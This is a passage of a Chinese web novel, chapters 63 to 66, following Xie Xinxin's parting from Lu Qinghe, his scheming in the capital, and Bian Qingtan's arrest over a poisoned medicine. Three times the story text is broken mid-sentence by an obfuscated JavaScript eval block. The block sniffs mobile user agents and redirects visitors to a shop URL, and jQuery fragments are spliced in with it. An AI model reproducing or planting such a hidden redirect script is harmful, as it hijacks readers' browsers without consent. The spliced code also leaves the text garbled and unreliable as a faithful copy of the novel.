莫非,是她给郭夫人送的药有什么不妥,怕刘宛被牵连? 63.诉衷情 一大一小坐在马车上,蒙蒙烟雨中翘首以盼。 远远地,先见着一个绛色衫裙的女子身影,从后院的小门钻了出来。 阿凤立刻道:“公子,谢小掌柜出来了!” 陆清和正襟端坐,眼眸抬了抬,深深望了出去。 谢辛辛刚要往马车处跑来,刘宛手撑一把伞,从小门追了出来。两人拉扯一番,刘宛硬是把伞塞到了谢辛辛手上,用手背遮着雨,一人跑了回去。 谢辛辛再转回来,脸上已隐隐挂着笑意。 阿凤一扭头,见公子的脸上却也露出了恬淡的微笑。 陆清和用竹木帘杖将车帘轻轻支起,先前被遮去的雨声立刻淅淅沥沥地响了起来。 谢辛辛披着雨躲进车里,呼了一口气,笑道:“还好,宛姐姐没事,茗琅稍后便来。只是不知边青昙在盘算些什么,这么突然送宛姐姐回来……” 陆清和将车帘放下,外间的雨声立刻消散。马车中霎那安静下来。 谢辛辛轻轻吸了一口车中空气。 才见过刘宛,又闻得雨水的湿气夹着沁人的木香,此时竟觉得纷乱的心逐渐安然下来。 “边青昙的事情且不提。”陆清和道,“谢辛辛,我有话对你说。” 他素来爱做君子态,相处虽久,仍爱叫她谢小掌柜。如今冷不丁唤她大名,谢辛辛不禁也正色向他: “何事?” “我要回云京了。” 谢辛辛啊了声,诧异道∶“什么时候?” 陆清和道:“尽快。快则即刻,慢则今夜。” 谢辛辛瞧了他一眼,又瞧了瞧阿凤,确认了这不是玩笑话,声音才低了下来:“这么快,为何?我还没想好。” 还没想好什么?她也不知道。 莫非是还没想好去不去云京? 卷宗的问题几乎可以确定有赵都云从中捣鬼,她还一味地要去云京做什么? 她还有仇未报,还有事要做,陆清和眼下要走,与她有什么关系?难不成她还跟了去。 陆清和道:“我如今在外是假死之身,方便掩人耳目,此时回云京,将宣王府所作所为上达天听……而后,如若你愿意,我将,红妆十里,前来迎娶你。” 她心下一急,心想谁说要嫁给你了,却还逞着脸色,想先问问他:“陆清和,你如今愿意喜欢我了?” 陆清和笑了。 原来仍能等到她第三次问这个问题,实乃幸哉。 可四姨娘从小教他的是讷于言而敏于行。如今二人之间仿若烛火间的一张薄纸,略一烧燎便要赤诚相待,他倒觉得说不说出口已经不重要了。 他却摇摇头:“即便不重要,也要说,就当弥补我从前之迟钝。” 谢辛辛自是听不懂他说什么,还是阿凤翻身出去上马,躲在马车角檐下自觉堵住了耳朵。 他便俯身过去,耳垂的热气烫人,贴得谢辛辛的面颊也热了起来。 “喜欢之情,不知所起,望你毋要生气。” 她早准备有一肚子揶揄的话,全被一句毋要生气堵在嗓子眼里。 这话说的,倒显得他陆清和可怜巴巴,仿佛自己是个脾气冷硬爱使小性的。这人就连告白之时,话里也藏着老狐狸摇尾乞肉一般的狡诈。 她察觉这个圈套,却见他莹白中飞红的耳朵,终还是忍不住觉得这哪怕是惺惺作态也称得上是我见犹怜。 难道她谢辛辛也是色迷心窍? 她慌张一推,将他推远,心里嘟囔了半天,只说: “那你便即刻走吧。” 陆清和却不放过她的眼睛,紧盯着她:“生气也无妨,我虽即刻要走,往日答应你的,却也会一一做到。玉春楼、刘宛、茗琅,我都会尽力周全。还有昔日我答应你的,你说要随我去云京成婚,我也不会食言。” 谢辛辛用手掌扇了扇风,别开脸去:“昔日是昔日,如今家仇之事尚未明,我为何要去云京成婚?” 陆清和笑道:“怎可说话不算数。彼时可没说什么若有突发情况,此约定作废之事。” 谢辛辛:“你……” 陆清和打断她:“那我便等你。” “待我回云京将身上事务了去,我可助你。” “你要觅仇,我助你搜求;你要报仇,我便做你的刽子手;若你想放下,便随时回头,到那时,我八抬大轿来迎娶你,如何?” 放下? 谢辛辛将这两个字在心里翻来覆去品味一番,却只觉得陌生而遥远。 她的人生,离放下一词,似乎太远太远。 有时心中执念,只为值得。她想替谢家报仇,并非是为自己有朝一日能够轻轻放下,而是觉得爹娘值得,谢府值得,她所养花草小马,皆值得一个真相。 她面色徐徐平静下来,将心事付之一笑: “到那时再说吧。我觉得我们如今这样挺好。” 如今,他们虽有羁绊,却无牵挂,甚好。她这样一意孤行之人,也不会成为谁的累赘。反正头先他们二人婚姻之约,也只是约在一个逢场作戏,并未约定谁要动真情不是? 陆清和则揣着她的话——到时再说,到时再说。那他便等到自己并非空有王府二公子的虚衔之时,用自己真正的身份,堂堂正正地来说。 她会欢喜吗?亦或是嗔怒?单是猜想她届时的表情,陆清和便笑了。微光从男人的一双菩萨目中闪过,像剑光过星月,有果决笃定的浪漫。 “我不留你。”谢辛辛清了清嗓子,轻轻道,“如今我家仇线索几乎断了。你回云京,若能在北瑛王府中探得谢家一案的消息,记得写信于我。” 陆清和郑重答应了她,却说:“我正要跟你说这个。有关线索,和赵都云。在此之前,你先说说你接下来有何打算?” 谢辛辛掰着指头:“我有两样事。” “一,是我如今从宋嬷嬷出拿了房地契,自然应该趁机收回谢家大小铺子。玉春楼也得重新清算伙计人数,以防赵都云借机渗透。自然,洗钱一事,我找个机会推了去,便不做了。” 陆清和说如此甚好,这样待宣王府贪污之事东窗事发,他想保下玉春楼更容易一些。 “二便是宋嬷嬷所托之事。虽不知王爷在宣王府中经历了什么,但宋嬷嬷既帮了我,我自得报答。只是我不同医理药学,这让宣王爷了断一事,恐怕还得去问问边青昙……” 陆清和一皱眉:“你还要去找她?她行为古怪,又与宣王府牵扯颇深……” “哎呀,不妨事的。”谢辛辛莞尔道,“难道你担心我会找上她说,‘边姑娘,我要杀了老王爷,求你助我’?我在你眼里就是如此蠢钝不成?” 陆清和刚要否认,她接着道∶ “我只是找她探听一些王府之事,若机会得当,再问问宣王爷的病情、宋嬷嬷所说的药盒,是怎么回事。至于其它,我会见机行事。” 她伸了个懒腰,面上是有些勉强的笑,口中笑称:“你走了,我可以少管很多闲事,多快活……那么,再见,陆清和。” 她起身,伸手撩起车帘。 “嗳!”阿凤在外想要叫住她,她却没有停下。 “公子,你们说了什么?谢掌柜怎么回玉春楼了?”阿凤问。 陆清和怔然不答。 阿凤又问:“公子……?” 他才回神一般,答:“无妨,我们即刻动身回云京。” 阿凤噢了一声,忍不住凑上前去,将头歪在公子眼睛下面:“公子,你看起来有点悲伤。” 陆清和嘴角才扬起来,笑意荡在眼睛里,抬手打了他的脑袋。 石砖间隙里的草叶沾湿了谢辛辛的绢鞋。她跑得不快,身处雨中,恍若逆水行舟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321416|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一步都有万千思绪涌来。 陆清和初到莲州之时,也是一个雨季。如今,他便要回云京了。 到底是京中来的公子哥,想这小小莲州只是他富贵生活中的零星经历,说什么回来迎娶,岂知要等到什么时候? 哪怕她心底相信着他,仍旧如此说服着自己。再将之后要做的事情反复想了一百遍,勉强把心头才被勾起的一点期盼按了下去。 终究没有再去看那辆马车。 “谢掌柜,你的伞!” 阿凤在身后大喊。 谢辛辛并不回头,大声回应道: “伞留给他了!” 几日之后,谢辛辛再去葫芦巷子,这回是一个人去的了。 没想到敲开了边青昙家的大门,开门的却是个书生打扮的男人。 谢辛辛警惕看他:“你是何人?” 那人却笑:“这位娘子,你叩了我家的门,我还没问你是何人,你倒先发制人了。” 见此人宽衣博带,举止儒雅,谢辛辛心中有了推测: “范守一,范医师?” 范守一拱了拱手:“正是在下,敢问娘子你是?” 谢辛辛还未作答,边青昙的声音便从内间传来:“是谢小掌柜吧?这是我的好姐妹,让她进来,我同她说说你的小话。” 这种话从寻常妻子口中说出也就罢了,自边青昙的嘴里说出来,已算得是暧昧非常,以至于谢辛辛惊得连“好姐妹”这种词也忘记去管。 范守一想是受用到骨子里去了,笑得脸和手皆软烂成泥,气愉神怿地请谢辛辛进了屋,又讨好道:“既如此,你们先聊着,我去为你们烹茶。” 谢辛辛心中纳罕。原以为这范守一常住医馆,是个薄情的,这么一看,倒像是个痴情种,对边青昙唯命是从。 她自己走进了房中,见边青昙正匆匆把木窗合上,捏着袖口扇了扇风。 边青昙转过身来,眼也没抬:“我没抽烟叶子。” 谢辛辛失语:“你若不说这句话,我很难猜到你方才在做什么。” 边青昙装作不闻。两人沉默对峙了一会儿,谢辛辛正琢磨从何处开口试探,却是边青昙先开口: “为了宣王爷的事来?” 谢辛辛心中一凛,不动声色地后退一步:“你从何得知?” 边青昙一笑,上前轻抚她脸: “我不光知道这个,我还知道,是宋嬷嬷求了你,你才找上了我。” 她的指尖发凉,谢辛辛肌肤为之一颤。 …… 数日后,盛京风华。 一身着锦衣的肥肚男子鼻孔朝天、散发着酒气,摇摇摆摆走过了半条街,可算在一处酒楼前停了下来。 门口伙计像是见着老熟人:“哟,徐大人,今儿又来小店。” 徐明庚扶着肚子一踢他:“少废话,来一壶……不、三壶!三壶醉秋风!” 伙计一愣:“徐大人,这三壶醉秋风,怕是要喝死人的!” 徐明庚骂骂咧咧:“你懂什么,爷就是在寻死!爷今儿才知道,北瑛王府有个小子死在了莲州,爷,心里苦啊!” 伙计捂着嘴,小声劝他:“徐大人,您还认识北瑛王府的人呢?哎,徐大人这样难受,真是重情重义之人啊……” 徐明庚道:“你懂个屁!” 他身中了毒,活到现在,全仰仗陆清和每七日派人送来的解药过活。如今七日之期又至,解药却迟迟未来。他一心急,四处打听,这才知道陆清和竟然已经死了! 死在了莲州! 那他徐明庚的死期,岂不是也将至了! 伙计正为难,徐明庚身后却传来肃然的一声: “徐大人。” 徐明庚登时浑身的汗毛都竖了起来,难以置信地回头: “你……是你?!” 64.烟罗叶 “你没死?!” 徐明庚又惊又喜,没想到自己绝处逢生,陆清和竟然出现在自己眼前! 遂情不自禁叫了一大桌子的菜,也不坐在自个儿的座位上,而是来来回回地绕着所来之人兜圈子。 又伸手摸了摸这人的胸膛,把耳朵凑上去听:“有心跳,不是鬼!肉也是热乎的!” 被又摸又掐的,陆清和费了好大劲才将他手掰下来。 徐明庚问:“陆二公子,真是你?” 陆清和嘘了一声:“小点声,别声张。” 徐明庚谄媚道:“嗳哟,陆二公子,可算又亲眼见着您了。您是不知道,自打听您的吩咐来了云京之后,才知道您是北瑛王爷疼爱的二公子。我别提多后悔了。” 疼爱?他怎么不知道? 陆清和揉了揉额角,知道徐明庚当惯了狗,口上不奉承几下就不舒快,便不愿与他计较。 陆清和问:“后悔什么?” 徐明庚就等着接这个话茬,立刻腆着笑:“后悔奴才有眼不识泰山,当初竟敢妄图对陆二公子下手。你说这孟安也真是的,他一早知道您的身份,瞒着我做什么?早告诉了我,我心里也有分寸。” 陆清和睨他一眼:“早告诉你?早告诉你,好让你捅到赵世子那儿不成?不对,现在是云顺郡王了吧。” 徐明庚连呸两声:“什么云顺郡王,不及陆二公子您一根头发的风采。” 陆清和只是静坐,算盘似的一问一个响声,不再主动说什么。待小二将酒菜都上完了,他仍是惜字如金的样子。 徐明庚急了,伸手上前:“陆二公子,若没有别的吩咐,您看我这解药?” 陆清和专心用饭,不答。 这是什么意思呢?徐明庚越是琢磨不透,越是抓耳挠腮,想了半天,恍然大悟道:“噢,对对对,您之前的吩咐。” 徐明庚招了招手,一个小厮带了几折子文书上来。 经过陆清和时,小厮很惊奇地瞧了他一眼。 徐明庚登时拿过文书朝他脸上一拍:“乱看什么,越发没有规矩了。” 小厮讪讪道:“奴才该死,陆二公子生得俊秀,一时不自禁。” 徐明庚吹着胡子:“行了,滚吧,嘴皮子比你腿脚还利索。”便把文书一一承上。 “这是市舶司查到的记录,云顺郡王曾借市舶司的船采购许多药材、铁矿、粮食等,皆不走公账。” 陆清和问:“若走公账,会如何?” 徐明庚道:“海上蕃货贸易之事,都是宫中的宦官在把持。若走公账,这消息瞒不过宫里。” 话里的意思,便是宣王府采购的东西不便让宫中知晓。 陆清和放下筷子,冷冷道:“他果然有鬼。” 徐明庚恭维他几句远瞩高瞻,陆清和又问:“另一件事呢?” 徐明庚恭敬道:“依陆二公子的吩咐,近日来徐某一直上折弹劾孟安等北瑛王府的幕僚,皇上多半已经记住了他们。也正因此,云顺郡王那边也不曾怀疑过我已成了您的人。” “只是……徐某愚钝,不知陆二公子用意为何呀?这孟安等人,对北瑛王府,都是忠心耿耿啊。” “你早晚会明白。”陆清和笑了笑,将一颗小药丸丢给他,“更何况你不是讨厌孟安么。你既为我做事,我也得给你点甜头才是。” 徐明庚千恩万谢的接了去,一口吞下药丸,顿时觉得通体舒畅,恨不得当即给他跪下。 说来也奇怪,人人都以为他徐明庚到了云京之后,四处弹劾太子阵营的清官,狂妄至极。 纵然别人能忍,唐唐北瑛王府,也绝对忍不了这小人猖狂,高低要使他吃点苦头。 可北瑛王府不仅不管他,甚至任由他在云京大摇大摆胡吃海喝。徐明庚自己也疑惑呢,只觉得莫非陆清和是个护短的,还真暗中保护着他? 徐明庚偷偷觑着陆清和,想着若是如此,跟着这个主子也不错——除了每周要服一次解药外。 陆清和像是猜到他所思所想,高坐着看他: “只要你好好做事,在云京,我会保你荣华平安。” 他确实在保护徐明庚的安全,甚至给他金银,让他在京中横行霸道。以至于赵都云那边傲慢地认为,北瑛王是死了儿子,自顾不暇,连徐明庚这等小喽啰都无心顾及了。 陆清和微微一笑。 登高,必跌重。 “徐明庚。” 徐明庚忙答:“在。” 陆清和却温温和和地一笑:“你一直觉得孟安不如你,是不是。” 徐明庚冷汗直冒,不敢答话。 “紧张什么。”陆清和给他夹了一筷子肉,“吃。” “哎。”刚要动筷,陆清和又说话了,吓得徐明庚将筷子一放。 陆清和道:“可依我看,你比孟安还差了一处。你道是何?” 徐明庚战战兢兢:“是,是徐某做错了什么?……但请陆公子指教。” 陆清和笑道:“他后继有人了。” 徐明庚一愣:“据徐某所知,孟安的夫人,并未有过身孕啊?” 陆清和道:“我说的后继有人,是说郑琢玉那个外甥,郑瑾瑜。如今一举夺魁,紧接着便要进殿试。这么看,估计是同他姑父孟安一样,走的文官的路子。” “孟安当年本就是探花郎,只是意外被郑家连累流落邺州。你说,他外甥替他再高中一次,算不算后继有人?” 徐明庚揣摩着:“陆二公子的意思是,我应该给这位郑瑾瑜,使使绊子?” “不可。”陆清和睁眼看他,一副孺子不可教也的表情,掰开了同他道,“因为老郑师的缘故,天家如今本就不喜郑家。我的意思是,你以后进折,只消微微表现出对这个郑瑾瑜的不满,皇上会记住你的。” “哦……哦?哦!!”徐明庚醍醐灌顶,“承蒙陆二公子点拨,徐某知道该怎么做了!” 酒足饭饱,徐明庚容光焕发,兴致勃勃地还要与陆清和痛饮三百杯。陆清和却以需要速速面圣推辞了。 “你交给我的市舶司的记录,我也需要递给皇上。”陆清和解释道,“事态紧急,徐大人自己玩儿去吧。” 临走前,陆清和忽然想到: “那小厮是你在云京新买的?” “呃,陆二公子说哪一个?”徐明庚拍了下自己的脑袋,“噢噢噢,那个送文书的!他是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357065|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自邺州就一直带着的,贴身跟了我数年,嘴巴严得很,陆二公子放心。” 闻言,陆清和隐约觉得有些不对。但面圣之事越快越好,拖久了只怕节外生枝。故而无暇多想,便匆匆上路。 阿凤早在候着,此时牵着马,问:“公子,不先回一趟家吗?” 陆清和摆了摆手:“事不宜迟,待我将宣王府事项禀圣后,再见父兄不迟。” 更何况他心里的“家”字,早已系在了莲州一个惯爱逞凶显能的小掌柜身上。 陆清和在云京恨不能即刻驰奔至圣上殿前,将宣王府行径一举揭发,而谢辛辛这儿却被边青昙三言两语定在了原地。 “你是说,赵都云在吊着宣王爷的命?”谢辛辛问。 边青昙浑不在乎般应下,“正是如此。这老王爷风烛残年,一边喝着儿子喂的毒药,一边又被儿子吊着命……这宋嬷嬷着实忠心耿耿,甚至求到你身上来,真是死马当活马医。” “慢着。”谢辛辛打断她,“赵都云一边向他喂毒,一边却又保他不死?为什么?” 边青昙刚要说话,房门笃笃响了两声,门外传来范守一的声音: “青昙,茶煮完了,我能进来否?” 边青昙便向屋外道:“守一,可是用的清明的雨水?” 门外之人一愣:“不是。抱歉,我不知……” 边青昙道:“不怪你,是我忘记告诉你。厨房斗柜上第二格的红陶小翁里盛着我春天存的雨水,守一,你拿那个再煮过茶来。” 范守一也不嫌麻烦,哎了一声。脚步远去,像是又离开了。 谢辛辛若有所思地望着门外。 谢辛辛道:“范医师待你极好。” 边青昙并不在意:“无人不知他待我好。” 谢辛辛笑了:“那你为何之前不让他回家?” 边青昙指节蜷起,回避了她的目光:“他是名声在外,医馆营生忙碌,才鲜少归家。并非是我不让。” “哦?”谢辛辛并不买她的账,笑道,“据你所述,范守一在你进府前便对你一往情深。此后他名声在外,而你只是宣王府的一个婢女,他却依然按正妻之礼迎娶你。” “今日你为与我说话赶他出屋,他烹茶倒水毫无怨言。这样痴情之人,会因为医馆忙碌而不归家?青昙,你猜我信么?” 边青昙不答,却说:“你信不信,与我无关。” 谢辛辛却像个缠人的猫,不肯轻易放过她,接着道:“上回来此,我担心你点燃的那个叶子对身体不好,回去便四处打听那个叶子是什么,这才知道,这长在山间烟罗叶,不仅有安神之效,还会伤宫碍孕。女子若成瘾,多半会失去生育能力。” “为何?你是医女出身,定然比我了解得更多,为何还坚持吸食此物?” 她等着边青昙的回答。 边青昙果然略显局促,不再作漠然状。 许久,边青昙却突然拉住她的手: “你果真关心我,谢谢你。” 谢辛辛:…… 重点是这个吗?! 她深深怀疑究竟是边青昙装作听不懂,还是医学药理太难,把这个天才医女学得脑子呆了。 65.昙花显 边青昙难得亲昵,可谢辛辛抬眼淡淡看她,眼中无波,一副她若不说出个子丑寅卯就决不接话的模样。 见她这样,边青昙才叹一口气:“别看我在葫芦巷子里头远离俗世尘烟的,我心里每日也堵得很。守一替我把脉,也说我心思重,唯有吸一口这烟罗叶才觉得舒坦一些。” 谢辛辛先是觉得好笑。她所知如青昙这样有性格的女人,多半是给男人添堵去的,竟然自己心里也淤堵着? 可再一想她的身世——天才医女出身,却全家被害,为谋生入府为婢,又为自由嫁给自己不爱之人。她心中的骄傲想必如锥如刺,时时蛰疼吧。 如此,神色变肃然起来,口中还是劝她:“我楼中若做药膳,要清心安神之功效,多有枣仁百合等温补食材,不会有什么副作用。你又为何非要用这妨害女子身体的烟叶呢?” 边青昙一笑:“既能静心,又致不孕,于我乃是大大的好事,谈何妨害?我们这等人,注定了要早死,” 谢辛辛这才通了:“你是故意的?!” 边青昙不置可否,只笑说:“总之,多谢你关心我,若我此生还有机会能与你做姐妹……” 边青昙眉眼本淡雅出尘,细眉长眼,神态如修行女子一般无欲无求。 此刻虽话语字句听着丧气,眸中却是圆月既满,有种对尘埃落定的期盼。 谢辛辛感觉不妙:“这种话,不许再说了……” 却听框框两声,是院外有人重重拍门,高声:“莲州府衙办案,闲杂人等回避!” 衙门的人? 谢辛辛眉头一锁,却看边青昙一副了然之态。 “我等奉命而来,请边氏进衙门问话。开门!再不开门,莫怪兄弟几个硬闯了!” “砸门!” 外间范守一匆忙从厨房步出:“且慢,且慢!” 手中,煨火的小扇子还没来得及放下。 “几位官爷,”范守一不卑不亢,作一揖道,“在下范氏长子范守一,仁宁堂的坐馆医师,也是仁宁堂的主人,边氏正是范某内子。请问几位官爷突然要拿她,所为何事?” 仁宁堂便是范家代代相传的医馆,莲州范氏代代为医,济世救人,功德无量。莲州百姓之家,在疫病流行的年代,大多都喝过仁宁堂免费发放的药茶。 故而莲州人氏多对范家仰重有加。就连衙役们听他此言,说话也恭而有礼起来: “原来范医师也在。范医师见谅,我等只负责奉命缉拿,具体她所犯何案,我无权过问,只是……” 领头的衙卫压低了声音:“只知道知州郭大人的夫人忽然大病一场,这没头没脑的,眼下正怀疑是有人下毒,或许与您夫人有关。” 范守一一听,顿时如五雷轰顶。想到之前宣王府里请他给郭府送药,自己那几日却因为患者急病脱不开身,边青昙自告奋勇替她进了郭府。 难道就是那个药丸? 范守一冷汗落下来,顿时灰了脸色。 他第一个念头不是怀疑自家夫人真的下了毒,而是担心是不是因为自己,才害边青昙摊上了这棘手事。 正心头急转思考着对策,身后吱呀一声,边青昙却自己推门而出。 “妾就在此。”边青昙缓步而出,清声道,“守一,开门,我随他们去。” 范守一却不肯,朝她走了两步,挡在她面前,小声问:“是王府里送去的那药有问题?” 边青昙笑而不语,推开他,自己讲那院门上的木闩给打开,脖子如天鹅一般仰着: “请几位官爷带路。” 衙卫们见事情好办,也不在做什么无谓的威慑,点点头就要带她走。 范守一却伸手拦住他们:“且慢,可否让我与我娘子说几句话?” 领头衙卫脸色不是很好看,但还是道:“快些,范医师莫让我等太难做。” 范守一称知道,将边青昙又拉过来些。大约是猜到了半个原委,他脸上竟是有几分怒气。 不等他说话,边青昙倒笑起来:“守一,你出息了,摆这个脸给我看?” 范守一反应过来,才软下神情,转怒气为哀求,央告她:“我的姑奶奶,到这个关头了,你还不跟我说实话么?日前你开了尊口,允准让我回家住,我还以为你终于愿意接受我了。如今一看,原来是你故意让我看到这一幕。” “你早就知道那药有问题,是不是?看你这样子,是就等着衙门来拿你呢。我就想问你,为什么?青昙,为什么?” 边青昙伸出手指,替他抚去面颊上的两滴眼泪:“是,我早知道赵世子送给郭府的药有问题。所以,必须我去送。” 范守一咽了咽嗓子,不知是没听明白,还是被边青昙这突然的爱抚给惊吓到了。 他自知自己能娶到边青昙,全因她家中变故,天上的仙女跌落泥潭,自己有幸能伸手拉她一把罢了。 因此婚后哪怕边青昙拒绝与他同住,不愿和他亲热,他也百依百顺,自己卷了个铺盖,从此借从医忙碌之名,搬进了医馆里,只等边青昙接受自己的那一天。 难道,难道边青昙这一块冰,真的被自己捂化了? 边青昙看他呆愣,敲了敲他的脑袋,笑中带泪: “守一,怪我,我的心意,可是叫你明白的太晚了?” 这话说了,哪还有不懂的?范守一欣喜若狂,却马上想到门口的衙卫捕快,又灰心道:“不怪你,怪我是个呆子。早知那药有问题,万不该交给你去……这可怎么办?我给世子调配的,明明是补益气血的好药,到送去郭府的时候,怎会变成毒药?世子殿下他,他为何要给郭夫人下毒啊?” 边青昙摇摇头:“无论为何,世子的吩咐,我们只能去做。守一,我只是想入狱前,能与你度过那么一日的夫妻生活,也好弥补我过去对你的亏欠。” “入狱?这么严重?”范守一一怔,忙道,“不会的,若真要入狱,我倾尽所有也会将你救出来。” 边青昙似乎等的就是他这句话,听了这一句,她不再多言,向范守一行了一礼,径自走出了院门。 眼看着衙卫就要将她带走,范守一哽咽唤她之名。 “青昙!” 边青昙侧了侧头,带着笑意也叫他: “守一。” “希望经此一事,能让你知道谁为良主。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388887|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “守一,我等你。” 衙卫道了声失礼,将边青昙一只手拷上,大声道:“带走。” 边青昙回过头,不再停留。 直到边青昙的背影消失在葫芦巷子里,范守一才踉跄着摔坐在地上,无声流泪。 眼前却飘来一个绣着金线的绛红裙摆。 “范医师。” 范守一一激灵,才想起来家中还有客人,连忙起身用袖口擦了擦脸: “抱歉,事出突然,见笑了。” 谢辛辛温和道:“无事。有范医师在,我相信边姑娘一定会没事的。” 范守一又红了眼睛:“我定会竭我所能。” 谢辛辛看这大名鼎鼎的神医抹着眼泪,为同她说话,还不忘整理仪容,摇了摇头。 刚见到爱妻就眼见着她被抓走,此刻还逞强。果然读书人就是死要面子,总觉得陆清和若遇到此事,表现也会和范医师差不多。 呸呸呸,想什么呢,这不是咒自己入狱么? 谢辛辛忙止住了想法。却一愣神。 她怎么下意识将自己同边青昙比较?她可不是陆清和的妻。 不敢再想,她忙一福身道:“我也该回家了。” 范守一回了个礼,还没从焦急中缓过神来,走出门的姑娘却回头叮嘱了他一句: “范医师,边姑娘的话,你可得好好思量。若你想通了,可来玉春楼找我,我将她先前对我所述,好好说于你听。” 范守一没来得及回话,就见谢辛辛的背影施然远去。 边姑娘的话? 这话点醒了范守一。 边青昙临走之时,对他道: 希望经此一事,能让你知道谁为良主。 是了,赵世子命他送药,却将药换成毒,阴差阳错害他的青昙被衙门带走。 这明摆着就是要让范家替他赵都云背锅啊? 可气青昙曾不慎落入他赵世子手中。 他范守一行医半生,却为求娶青昙,答应为赵都云做那害人的勾当! 一想到自己明着替老宣王调养身体,暗中却依照赵都云的吩咐,在宣王爷的药中加入相克的药材,使王爷不但病情得不到好转,甚至神志也难有清明,范守一便悲从中来。 难道是这就是自己做这糊涂事的报应? 难道青昙她替自己接下送药一事,便是为了借此让他认清赵世子为人,回头是岸? 范守一终于忍不住了,放声大哭。 “青昙,我对不起你……” …… 葫芦巷子里,谢辛辛疾走了一段路,见范守一还没追上来,又刻意放慢了脚步。 边青昙被衙门带走,眼见一对鸳鸯在眼前被拆散,谢辛辛心中没什么波澜。 毕竟,边青昙对范守一所述的那一番“衷情”,在她看来,一个字也不可信。 什么我的心意叫你明白的太晚? 谢辛辛在心里冷笑一声。 可真是好演技! 若不是方才在屋中,边青昙亲口对她所说,那毒药是边青昙自己亲手换的,她也要被这什么“心意”感动得落泪了。 66.马南春 走了一步又一步,就要走出葫芦巷子外了,眼看着巷口的阳光斜照到了脚边上,谢辛辛叹了一口气。 罢了,饶是边青昙也有失算的时候。 于是抬腿就要走—— “谢小掌柜,等等,等一等!” 范守一气喘吁吁地追上来。 谢辛辛舒了一口气,转过身去,面上换了一副惊讶模样。 “范医师,这是怎的了?” 范守一总算停下来歇了口气,看着不甚壮实的身板此刻因呼吸急促而起起伏伏,不难想象,是在最后关头狂奔而出。 他左手扶腰,右手扶腿,上气不接下气: “青昙的意思我,我,我明白。不必改日了,青昙她,她还对谢小掌柜说了什么?还望谢,谢,谢小掌柜……现在便告知于我。” 谢辛辛心中咋舌。 这边青昙对范医师之情,真真是自信。当时衙门叫门,边青昙在屋子里对她如此这般地嘱咐一番,笃定范守一必定会追出来让她说清楚。 还偏让边青昙猜中了。 心中叹服,面上仍是佯装迟疑:“范医师,你真的想通了么?有些事不急于一时……” 范守一决然道:“不必多言。我与青昙成婚之日便发誓,往后余生绝不会辜负她。因此,青昙她所思,便是我所想,但请谢掌柜直言。” 谢辛辛神色凝重:“哪怕我接下来所说,与宣王府有关,极可能是掉脑袋的事?” 范守一愣了片刻,似是猜到了什么,也郑重道:“我心如一。” “……既如此……”谢辛辛深吸一口气,“我便将她未尽之事,转托于你。” “此事说来话长,不知范医师常在宣王府往来,可曾见过王爷身边的宋嬷嬷?” “我谢辛辛欠宋嬷嬷一个人情。而这个人情,本是需要边姑娘助我,现如今,或许需要你范守一,来代替她。” …… 虽前有边青昙未雨绸缪,后有范守一信誓旦旦,但眼睁睁瞧着边青昙被衙门带走,心中总是惴惴。 但谢辛辛的性子,越是不安的时候,越爱思考一些实事,来填补心中的虚浮。 眼前的当务之急,是将玉春楼从宣王府手中摘出来,以免陆清和在京中揭发了宣王府后,连带着玉春楼出什么不测。 虽说陆清和有承诺在先,但哪怕是皇帝也有办不到的事儿,她不敢拿玉春楼赌。 她先到玉春楼后厨看了看——就到晚膳时候了,大厨房忙得不可开交,哪怕前一天把能备的菜都备了,也有供应不及的时候。 就听有厨傅着急着:“这炒双竹的竹笋段不够了,宛娘子,你可有空帮我备些?” 刘宛也在炉子前忙得不可开交,说她也不得空,眼前这羊肉汤需得有人看着,便叫来茗琅,“茗琅,你去将炒双竹的菜牌摘下来,今日就先不卖了。” 这菜品到晚间卖完,先下菜牌也是常有的事。可谢辛辛听着灵机一动,忽然拦住茗琅:“先别急,将马南春叫来,他刀功快。” “马南春?”刘宛和其余厨傅皆是疑惑,“是那个脸长鼻子高的跑堂吗?倒是不曾听说他还有厨艺在身。” 谢辛辛笑道:“我可见过他的功夫,叫他来。” 马南春到后厨之时,先是古怪地看了一眼谢辛辛。听说是让他来切菜,马南春沉默片刻,手起刀落,就是一串长度如一的空心竹笋段。 在场厨傅皆叹:“果真好厨艺!” 大厨傅甚至拍了拍他:“小子,别在外间跑堂了,你要不要来后厨,拜我为师?我看你很有做厨傅的天赋。” 马南春木讷地应了声,也不知是答应了还是没答应,在众人的注视下有些仓皇,为难片刻,将谢辛辛拉到角落。 “掌柜的。”马南春叹了口气,“我应同你说过,我的身份,不该引起大家的注意,你这是何意啊?” 谢辛辛耸了耸肩:“有什么不好?你听我说,咱们挑主家,就像女子挑郎君。” 